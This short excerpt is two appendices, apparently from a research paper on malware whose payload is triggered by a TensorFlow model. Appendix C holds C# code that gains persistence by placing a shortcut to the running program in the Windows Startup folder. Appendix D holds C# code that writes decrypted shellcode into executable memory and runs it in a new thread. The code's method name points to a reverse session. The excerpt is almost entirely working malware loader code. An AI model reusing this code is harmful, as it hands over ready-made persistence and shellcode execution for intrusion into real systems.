Appendix C
Code snippet used to create a shortcut and place it in the Startup folder
public static void ShortCutStartUp () {
WshShell wshShell = new WshShell();
IWshRuntimeLibrary.IWshShortcut shortcut;
string startUpFolderPath =
Environment.GetFolderPath(Environment.SpecialFolder.Startup);
// Create the shortcut
shortcut =
(IWshRuntimeLibrary.IWshShortcut)wshShell.CreateShortcut(
startUpFolderPath + "\\" +
System.AppDomain.CurrentDomain.FriendlyName + ".lnk");
shortcut.TargetPath = Process.GetCurrentProcess().MainModule.FileName;
shortcut.WorkingDirectory = AppDomain.CurrentDomain.BaseDirectory;
shortcut.Description = "Launch My Application";
shortcut.Save();
}
Appendix D
Code snippet to execute the decrypted shellcode once triggered by the TensorFlow model
public void StartReverseSession (byte[] final)
{
Debug.WriteLine("Hello from Start Sess");
IntPtr funcAddr = VirtualAlloc(
IntPtr.Zero,
(ulong)final.Length,
(uint)StateEnum.MEM_COMMIT,
(uint)Protection.PAGE_EXECUTE_READWRITE);
Marshal.Copy(final, 0, (IntPtr)(funcAddr), final.Length);
IntPtr hThread = IntPtr.Zero;
uint threadId = 0;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
//WaitForSingleObject(hThread, 0xFFFFFFFF);
return;
}